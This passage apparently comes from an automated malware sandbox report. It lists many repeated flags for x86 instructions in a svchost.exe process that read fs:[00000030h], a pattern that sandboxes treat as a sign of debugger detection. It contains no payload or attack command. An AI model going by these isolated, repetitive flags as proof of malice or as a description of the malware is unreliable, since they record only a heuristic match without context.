Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov ecx, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C156 mov eax, dword ptr fs:[00000030h]	2_2_0342C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C8158 mov eax, dword ptr fs:[00000030h]	2_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]	2_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]	2_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504164 mov eax, dword ptr fs:[00000030h]	2_2_03504164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504164 mov eax, dword ptr fs:[00000030h]	2_2_03504164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov ecx, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F0115 mov eax, dword ptr fs:[00000030h]	2_2_034F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460124 mov eax, dword ptr fs:[00000030h]	2_2_03460124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]	2_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]	2_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035061E5 mov eax, dword ptr fs:[00000030h]	2_2_035061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034601F8 mov eax, dword ptr fs:[00000030h]	2_2_034601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03470185 mov eax, dword ptr fs:[00000030h]	2_2_03470185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]	2_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]	2_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4180 mov eax, dword ptr fs:[00000030h]	2_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4180 mov eax, dword ptr fs:[00000030h]	2_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432050 mov eax, dword ptr fs:[00000030h]	2_2_03432050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6050 mov eax, dword ptr fs:[00000030h]	2_2_034B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345C073 mov eax, dword ptr fs:[00000030h]	2_2_0345C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4000 mov ecx, dword ptr fs:[00000030h]	2_2_034B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A020 mov eax, dword ptr fs:[00000030h]	2_2_0342A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C020 mov eax, dword ptr fs:[00000030h]	2_2_0342C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6030 mov eax, dword ptr fs:[00000030h]	2_2_034C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B20DE mov eax, dword ptr fs:[00000030h]	2_2_034B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0342A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034380E9 mov eax, dword ptr fs:[00000030h]	2_2_034380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B60E0 mov eax, dword ptr fs:[00000030h]	2_2_034B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0342C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034720F0 mov ecx, dword ptr fs:[00000030h]	2_2_034720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343208A mov eax, dword ptr fs:[00000030h]	2_2_0343208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034280A0 mov eax, dword ptr fs:[00000030h]	2_2_034280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C80A8 mov eax, dword ptr fs:[00000030h]	2_2_034C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F60B8 mov eax, dword ptr fs:[00000030h]	2_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov esi, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430750 mov eax, dword ptr fs:[00000030h]	2_2_03430750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE75D mov eax, dword ptr fs:[00000030h]	2_2_034BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]	2_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]	2_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4755 mov eax, dword ptr fs:[00000030h]	2_2_034B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438770 mov eax, dword ptr fs:[00000030h]	2_2_03438770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C700 mov eax, dword ptr fs:[00000030h]	2_2_0346C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430710 mov eax, dword ptr fs:[00000030h]	2_2_03430710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460710 mov eax, dword ptr fs:[00000030h]	2_2_03460710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]	2_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]	2_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov ecx, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AC730 mov eax, dword ptr fs:[00000030h]	2_2_034AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B07C3 mov eax, dword ptr fs:[00000030h]	2_2_034B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_034BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]	2_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]	2_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D678E mov eax, dword ptr fs:[00000030h]	2_2_034D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034307AF mov eax, dword ptr fs:[00000030h]	2_2_034307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E47A0 mov eax, dword ptr fs:[00000030h]	2_2_034E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344C640 mov eax, dword ptr fs:[00000030h]	2_2_0344C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]	2_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]	2_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]	2_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]	2_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03462674 mov eax, dword ptr fs:[00000030h]	2_2_03462674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE609 mov eax, dword ptr fs:[00000030h]	2_2_034AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472619 mov eax, dword ptr fs:[00000030h]	2_2_03472619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E627 mov eax, dword ptr fs:[00000030h]	2_2_0344E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03466620 mov eax, dword ptr fs:[00000030h]	2_2_03466620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468620 mov eax, dword ptr fs:[00000030h]	2_2_03468620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343262C mov eax, dword ptr fs:[00000030h]	2_2_0343262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B06F1 mov eax, dword ptr fs:[00000030h]	2_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B06F1 mov eax, dword ptr fs:[00000030h]	2_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434690 mov eax, dword ptr fs:[00000030h]	2_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434690 mov eax, dword ptr fs:[00000030h]	2_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0346C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034666B0 mov eax, dword ptr fs:[00000030h]	2_2_034666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438550 mov eax, dword ptr fs:[00000030h]	2_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438550 mov eax, dword ptr fs:[00000030h]	2_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6500 mov eax, dword ptr fs:[00000030h]	2_2_034C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E5CF mov eax, dword ptr fs:[00000030h]	2_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E5CF mov eax, dword ptr fs:[00000030h]	2_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034365D0 mov eax, dword ptr fs:[00000030h]	2_2_034365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034325E0 mov eax, dword ptr fs:[00000030h]	2_2_034325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C5ED mov eax, dword ptr fs:[00000030h]	2_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C5ED mov eax, dword ptr fs:[00000030h]	2_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432582 mov eax, dword ptr fs:[00000030h]	2_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432582 mov ecx, dword ptr fs:[00000030h]	2_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464588 mov eax, dword ptr fs:[00000030h]	2_2_03464588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E59C mov eax, dword ptr fs:[00000030h]	2_2_0346E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B05A7 mov eax, dword ptr fs:[00000030h]	2_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034545B1 mov eax, dword ptr fs:[00000030h]	2_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034545B1 mov eax, dword ptr fs:[00000030h]	2_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E443 mov eax, dword ptr fs:[00000030h]	2_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA456 mov eax, dword ptr fs:[00000030h]	2_2_034EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342645D mov eax, dword ptr fs:[00000030h]	2_2_0342645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345245A mov eax, dword ptr fs:[00000030h]	2_2_0345245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BC460 mov ecx, dword ptr fs:[00000030h]	2_2_034BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345A470 mov eax, dword ptr fs:[00000030h]	2_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468402 mov eax, dword ptr fs:[00000030h]	2_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E420 mov eax, dword ptr fs:[00000030h]	2_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C427 mov eax, dword ptr fs:[00000030h]	2_2_0342C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6420 mov eax, dword ptr fs:[00000030h]	2_2_034B6420
